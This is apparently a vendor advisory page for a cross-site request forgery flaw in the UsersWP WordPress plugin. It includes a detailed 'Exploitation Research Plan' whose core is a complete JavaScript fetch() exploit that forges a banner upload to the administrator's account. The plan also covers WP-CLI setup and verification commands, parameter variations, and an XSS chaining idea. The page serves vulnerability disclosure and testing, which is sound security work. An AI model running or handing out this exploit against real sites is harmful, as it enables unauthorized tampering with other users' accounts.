UsersWP <= 1.2.53 - Cross-Site Request Forgery
Description
The UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WP plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.53. This is due to missing or incorrect nonce validation on the ajax_avatar_banner_upload() function. This makes it possible for unauthenticated attackers to upload banners for other users granted they can trick an authenticated site user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=1.2.53What Changed in the Fix
Changes introduced in v1.2.54
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-25015 (UsersWP CSRF) ## 1. Vulnerability Summary The **UsersWP** plugin (<= 1.2.53) is vulnerable to **Cross-Site Request Forgery (CSRF)** in its AJAX handler for profile image uploads. Specifically, the function `ajax_avatar_banner_upload()` fails to perform …
Show full research plan
Exploitation Research Plan: CVE-2026-25015 (UsersWP CSRF)
1. Vulnerability Summary
The UsersWP plugin (<= 1.2.53) is vulnerable to Cross-Site Request Forgery (CSRF) in its AJAX handler for profile image uploads. Specifically, the function ajax_avatar_banner_upload() fails to perform any nonce validation (check_ajax_referer) and likely fails to verify that the logged-in user has permission to modify the target profile (uid). This allows an unauthenticated attacker to trick an authenticated user into uploading a profile banner or avatar to an arbitrary user's account.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
uwp_ajax_avatar_banner_upload(Inferred from function name) - HTTP Method: POST (Multipart/form-data)
- Vulnerable Parameter:
uid(oruser_id) - Payload Parameters:
action:uwp_ajax_avatar_banner_uploaduid: The ID of the target user whose banner will be changed (e.g.,1for the site administrator).type:banner(oravatar).file: The image file data.
- Authentication Level: Requires the victim to be logged in (any role with profile editing capabilities, typically any registered user).
- Preconditions: The attacker must trick a logged-in user into visiting a malicious page that executes the exploit script.
3. Code Flow
- Entry Point: A POST request is sent to
admin-ajax.phpwith the actionuwp_ajax_avatar_banner_upload. - Registration: The action is registered (likely in a class named
UsersWP_AJAXorUsersWP_Image_Handler) usingadd_action('wp_ajax_uwp_ajax_avatar_banner_upload', ...). - Vulnerable Sink: The
ajax_avatar_banner_upload()function is called. - Missing Check: The function proceeds to process
$_FILES['file']and$_POST['uid']without callingcheck_ajax_referer()or checkingwp_verify_nonce(). - Modification: The function uses
update_user_metaor a similar filesystem function to save the uploaded image for the user ID provided in theuidparameter.
4. Nonce Acquisition Strategy
While the vulnerability is based on missing nonce validation, for research and verification purposes (to prove that a nonce is not required), the following strategy can be used to check for existing nonces in the UsersWP context:
- Identify the Shortcode: The
[uwp_profile]shortcode enqueues the necessary scripts and localizes the data. - Setup: Create a page containing the shortcode:
wp post create --post_type=page --post_status=publish --post_title="Profile" --post_content='[uwp_profile]' - Execution: Navigate to this page as a logged-in user.
- Extraction: Use the browser console (or
browser_eval) to find localized variables. Verbatim fromassets/js/users-wp.js, the plugin usesuwp_localize_data.// Check for the general basicNonce browser_eval("window.uwp_localize_data?.basicNonce") - Comparison: Observe that the
uwp_ajax_avatar_banner_uploadendpoint does not actually require this nonce in the POST body.
5. Exploitation Strategy
Since the browser's SameSite=Lax policy prevents simple form-based CSRF for multipart uploads, the most effective exploit uses fetch() within the victim's session to forge the request.
Exploit Payload (JavaScript)
async function exploit() {
const targetUserId = 1; // Administrator
const ajaxUrl = '/wp-admin/admin-ajax.php';
const formData = new FormData();
formData.append('action', 'uwp_ajax_avatar_banner_upload');
formData.append('uid', targetUserId);
formData.append('type', 'banner');
// Create a fake 1x1 pixel JPEG blob
const content = new Uint8Array([0xFF, 0xD8, 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD9]);
const blob = new Blob([content], { type: 'image/jpeg' });
formData.append('file', blob, 'banner_pwned.jpg');
await fetch(ajaxUrl, {
method: 'POST',
body: formData,
credentials: 'include' // Ensures cookies are sent
});
console.log("Exploit sent for User ID: " + targetUserId);
}
exploit();
6. Test Data Setup
- Target User: An administrator account (usually ID 1).
- Victim User: A regular subscriber account (e.g., username
victim, ID 2). - Plugin State: Ensure
UsersWPis active and profile pages are accessible. - Environment:
wp user create victim victim@example.com --role=subscriber --user_pass=password123
7. Expected Results
- The AJAX request returns a
200 OKstatus, likely with a JSON response indicating success (e.g.,{"success":true,"data":{...}}). - The
uwp_bannermeta field for the target user (ID 1) is updated with a path to the newly uploaded image. - If the target visits their profile page, the banner reflects the attacker's uploaded image.
8. Verification Steps
After executing the exploit via browser_eval or a hosted HTML page:
- Check User Meta: Use WP-CLI to verify the banner was updated for the admin.
wp user meta get 1 uwp_banner - Verify File Existence: Check if the file referenced in the meta exists in the uploads directory.
ls -la wp-content/uploads/userswp/ - Verify Privilege Escalation/Bypass: Confirm that a request sent from the Subscriber session (ID 2) was able to change the Administrator's (ID 1) metadata.
9. Alternative Approaches
- Parameter Variation: If
uidfails, tryuser_id. - Action Discovery: If
uwp_ajax_avatar_banner_uploadis incorrect, check the network tab while performing a legitimate banner upload as an admin to capture the exact action name and parameter keys. - XSS Chain: If the site has a stored XSS vulnerability, the payload can be injected to automatically execute the
fetchrequest whenever any user (including admins) views a specific page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.